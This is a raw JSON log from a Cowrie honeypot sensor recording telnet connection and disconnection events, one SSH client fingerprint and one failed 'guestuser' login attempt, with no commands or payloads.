{"eventid":"cowrie.session.closed","duration":30.86312747001648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:45.335061Z","src_ip":"162.55.233.176","session":"523a3bccabd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12387442588806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:45.451932Z","src_ip":"162.55.233.176","session":"2919b60406ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.305086374282837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:45.538414Z","src_ip":"162.55.233.176","session":"6e99aaf8a25c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.658058166503906,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:45.613561Z","src_ip":"206.189.32.23","session":"1543a5b447f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38262,"dst_ip":"159.203.135.109","dst_port":23,"session":"350f580c6ceb","protocol":"telnet","message":"New connection: 162.55.233.176:38262 (159.203.135.109:23) [session: 350f580c6ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.065645Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38276,"dst_ip":"159.203.135.109","dst_port":23,"session":"516d7610b493","protocol":"telnet","message":"New connection: 162.55.233.176:38276 (159.203.135.109:23) [session: 516d7610b493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.181618Z"}
{"eventid":"cowrie.session.closed","duration":33.46897006034851,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.589107Z","src_ip":"162.55.233.176","session":"e544c7f17f2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38286,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c2a700af04b","protocol":"telnet","message":"New connection: 162.55.233.176:38286 (159.203.135.109:23) [session: 0c2a700af04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.621738Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38472,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5420683969","protocol":"telnet","message":"New connection: 206.189.32.23:38472 (10.17.0.5:23) [session: 6b5420683969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.633596Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38292,"dst_ip":"159.203.135.109","dst_port":23,"session":"543b0a0c7024","protocol":"telnet","message":"New connection: 162.55.233.176:38292 (159.203.135.109:23) [session: 543b0a0c7024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.638236Z"}
{"eventid":"cowrie.session.closed","duration":39.5586314201355,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.671776Z","src_ip":"162.55.233.176","session":"b3124507228d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50659155845642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.683857Z","src_ip":"162.55.233.176","session":"aeea773c73f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.218068838119507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.726587Z","src_ip":"162.55.233.176","session":"4cdcaf061a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.23166227340698,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.834356Z","src_ip":"162.55.233.176","session":"179ce2149ded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92113423347473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.845374Z","src_ip":"162.55.233.176","session":"3fc630af0fca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.588266134262085,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.948555Z","src_ip":"162.55.233.176","session":"5f6423cc077e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38304,"dst_ip":"159.203.135.109","dst_port":23,"session":"21b41ef56fce","protocol":"telnet","message":"New connection: 162.55.233.176:38304 (159.203.135.109:23) [session: 21b41ef56fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:46.954498Z"}
{"eventid":"cowrie.session.closed","duration":31.383280754089355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:47.485086Z","src_ip":"162.55.233.176","session":"8e64e84e086a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38306,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d327894735","protocol":"telnet","message":"New connection: 162.55.233.176:38306 (159.203.135.109:23) [session: 49d327894735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:48.414796Z"}
{"eventid":"cowrie.session.closed","duration":31.477980852127075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:48.568547Z","src_ip":"162.55.233.176","session":"cc3a490b8a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38318,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d362648dce","protocol":"telnet","message":"New connection: 162.55.233.176:38318 (159.203.135.109:23) [session: 07d362648dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:48.584567Z"}
{"eventid":"cowrie.session.closed","duration":35.659565687179565,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:48.911345Z","src_ip":"162.55.233.176","session":"2eb4b7febdae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38320,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1835e457bf","protocol":"telnet","message":"New connection: 162.55.233.176:38320 (159.203.135.109:23) [session: 7f1835e457bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:48.971943Z"}
{"eventid":"cowrie.session.closed","duration":32.50683045387268,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:49.019242Z","src_ip":"162.55.233.176","session":"6160f871ea5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38324,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bcffeb9b804","protocol":"telnet","message":"New connection: 162.55.233.176:38324 (159.203.135.109:23) [session: 4bcffeb9b804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:49.225558Z"}
{"eventid":"cowrie.session.closed","duration":41.83509922027588,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:49.237244Z","src_ip":"162.55.233.176","session":"c051e7dac8cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38332,"dst_ip":"159.203.135.109","dst_port":23,"session":"12920a2bf5af","protocol":"telnet","message":"New connection: 162.55.233.176:38332 (159.203.135.109:23) [session: 12920a2bf5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:49.365942Z"}
{"eventid":"cowrie.session.closed","duration":31.38411283493042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:50.643735Z","src_ip":"162.55.233.176","session":"7e6d5b2c7b34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.7136926651001,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:51.008001Z","src_ip":"162.55.233.176","session":"0b32c7898354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93575954437256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:51.066733Z","src_ip":"162.55.233.176","session":"9a6b28e4290b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98993110656738,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:51.524075Z","src_ip":"162.55.233.176","session":"d009b3174fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38338,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd254dfbcfab","protocol":"telnet","message":"New connection: 162.55.233.176:38338 (159.203.135.109:23) [session: cd254dfbcfab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:51.672215Z"}
{"eventid":"cowrie.session.closed","duration":36.633219718933105,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:52.215390Z","src_ip":"162.55.233.176","session":"572e891a0312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38354,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4b58f66880","protocol":"telnet","message":"New connection: 162.55.233.176:38354 (159.203.135.109:23) [session: 9c4b58f66880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:52.637447Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49116,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4314f5a3063","protocol":"telnet","message":"New connection: 162.55.233.176:49116 (159.203.135.109:23) [session: a4314f5a3063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:53.657962Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49122,"dst_ip":"159.203.135.109","dst_port":23,"session":"d45dbc664d0f","protocol":"telnet","message":"New connection: 162.55.233.176:49122 (159.203.135.109:23) [session: d45dbc664d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:53.814617Z"}
{"eventid":"cowrie.session.closed","duration":30.458202362060547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:54.366119Z","src_ip":"162.55.233.176","session":"e62cc3cf8851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49138,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3418fb58bae","protocol":"telnet","message":"New connection: 162.55.233.176:49138 (159.203.135.109:23) [session: b3418fb58bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:54.577822Z"}
{"eventid":"cowrie.session.closed","duration":37.56246519088745,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:54.710024Z","src_ip":"162.55.233.176","session":"a35c522b0e38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49146,"dst_ip":"159.203.135.109","dst_port":23,"session":"de45a6958a41","protocol":"telnet","message":"New connection: 162.55.233.176:49146 (159.203.135.109:23) [session: de45a6958a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:55.057022Z"}
{"eventid":"cowrie.session.closed","duration":39.81697106361389,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:55.166530Z","src_ip":"162.55.233.176","session":"ccc08c4e5f30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.14413523674011,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:55.739215Z","src_ip":"162.55.233.176","session":"450963aaa95d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.09873127937317,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:57.903821Z","src_ip":"162.55.233.176","session":"710e99860277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.659130334854126,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:58.276424Z","src_ip":"162.55.233.176","session":"2ce68674d392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49152,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d361e040a8","protocol":"telnet","message":"New connection: 162.55.233.176:49152 (159.203.135.109:23) [session: 26d361e040a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:58.728279Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49162,"dst_ip":"159.203.135.109","dst_port":23,"session":"cca93807af90","protocol":"telnet","message":"New connection: 162.55.233.176:49162 (159.203.135.109:23) [session: cca93807af90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:59.537510Z"}
{"eventid":"cowrie.session.closed","duration":32.56731653213501,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:59.653378Z","src_ip":"162.55.233.176","session":"c3221ad6178f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02560067176819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:59.922974Z","src_ip":"162.55.233.176","session":"a6589ceaa684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49176,"dst_ip":"159.203.135.109","dst_port":23,"session":"7252b954d77a","protocol":"telnet","message":"New connection: 162.55.233.176:49176 (159.203.135.109:23) [session: 7252b954d77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:00.175999Z"}
{"eventid":"cowrie.session.closed","duration":37.3444139957428,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:00.319240Z","src_ip":"162.55.233.176","session":"5d2da13a5e69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49188,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89bb4fbdbaf","protocol":"telnet","message":"New connection: 162.55.233.176:49188 (159.203.135.109:23) [session: c89bb4fbdbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:01.451819Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49202,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20238187441","protocol":"telnet","message":"New connection: 162.55.233.176:49202 (159.203.135.109:23) [session: a20238187441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:01.771275Z"}
{"eventid":"cowrie.session.closed","duration":38.703378677368164,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:02.033404Z","src_ip":"162.55.233.176","session":"b29514743f12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49210,"dst_ip":"159.203.135.109","dst_port":23,"session":"f776bec1f102","protocol":"telnet","message":"New connection: 162.55.233.176:49210 (159.203.135.109:23) [session: f776bec1f102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:02.194105Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49226,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ad81a00cd4d","protocol":"telnet","message":"New connection: 162.55.233.176:49226 (159.203.135.109:23) [session: 5ad81a00cd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:02.282939Z"}
{"eventid":"cowrie.session.closed","duration":30.90775752067566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:02.415770Z","src_ip":"162.55.233.176","session":"327b6af45257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.90123510360718,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:02.506653Z","src_ip":"206.189.32.23","session":"57a33027dfef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50930,"dst_ip":"159.203.135.109","dst_port":23,"session":"4259d29deb7e","protocol":"telnet","message":"New connection: 162.55.233.176:50930 (159.203.135.109:23) [session: 4259d29deb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:03.155432Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51030,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2d663d5eca","protocol":"telnet","message":"New connection: 206.189.32.23:51030 (10.17.0.5:23) [session: 0b2d663d5eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:03.625430Z"}
{"eventid":"cowrie.session.closed","duration":4.203572750091553,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:04.379413Z","src_ip":"162.55.233.176","session":"7252b954d77a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.48471999168396,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:04.582247Z","src_ip":"162.55.233.176","session":"9ca69391d901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47914671897888,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:04.865532Z","src_ip":"162.55.233.176","session":"fbd4d86d8b5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50942,"dst_ip":"159.203.135.109","dst_port":23,"session":"19ec182e34b5","protocol":"telnet","message":"New connection: 162.55.233.176:50942 (159.203.135.109:23) [session: 19ec182e34b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:04.901214Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50960,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b8346ae9cce","protocol":"telnet","message":"New connection: 162.55.233.176:50960 (159.203.135.109:23) [session: 5b8346ae9cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:05.287436Z"}
{"eventid":"cowrie.session.closed","duration":34.50208520889282,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:05.497314Z","src_ip":"162.55.233.176","session":"394cf14f2108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50978,"dst_ip":"159.203.135.109","dst_port":23,"session":"6461afe7bfdf","protocol":"telnet","message":"New connection: 162.55.233.176:50978 (159.203.135.109:23) [session: 6461afe7bfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:05.798592Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50994,"dst_ip":"159.203.135.109","dst_port":23,"session":"034050f19215","protocol":"telnet","message":"New connection: 162.55.233.176:50994 (159.203.135.109:23) [session: 034050f19215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:05.858658Z"}
{"eventid":"cowrie.session.closed","duration":31.229283332824707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:05.881580Z","src_ip":"162.55.233.176","session":"bead7c28625b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16882610321045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:06.078469Z","src_ip":"162.55.233.176","session":"071903c1efbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50966,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca3663fc24e0","protocol":"telnet","message":"New connection: 162.55.233.176:50966 (159.203.135.109:23) [session: ca3663fc24e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:06.588719Z"}
{"eventid":"cowrie.session.closed","duration":30.747715711593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:06.612936Z","src_ip":"162.55.233.176","session":"c7e745430413","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":41904,"dst_ip":"10.17.0.5","dst_port":22,"session":"94f7bb6728f5","protocol":"ssh","message":"New connection: 38.137.11.14:41904 (10.17.0.5:22) [session: 94f7bb6728f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:06.835222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:06.842985Z","src_ip":"38.137.11.14","session":"94f7bb6728f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:07.085073Z","src_ip":"38.137.11.14","session":"94f7bb6728f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51012,"dst_ip":"159.203.135.109","dst_port":23,"session":"83dd1a090ca7","protocol":"telnet","message":"New connection: 162.55.233.176:51012 (159.203.135.109:23) [session: 83dd1a090ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:07.379193Z"}
{"eventid":"cowrie.login.failed","username":"guestuser","password":"guestuser","message":"login attempt [guestuser/guestuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:08.077583Z","src_ip":"38.137.11.14","session":"94f7bb6728f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51024,"dst_ip":"159.203.135.109","dst_port":23,"session":"3093face0aaf","protocol":"telnet","message":"New connection: 162.55.233.176:51024 (159.203.135.109:23) [session: 3093face0aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:08.634032Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51026,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5bb9ac8786d","protocol":"telnet","message":"New connection: 162.55.233.176:51026 (159.203.135.109:23) [session: e5bb9ac8786d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:10:08.762626Z"}
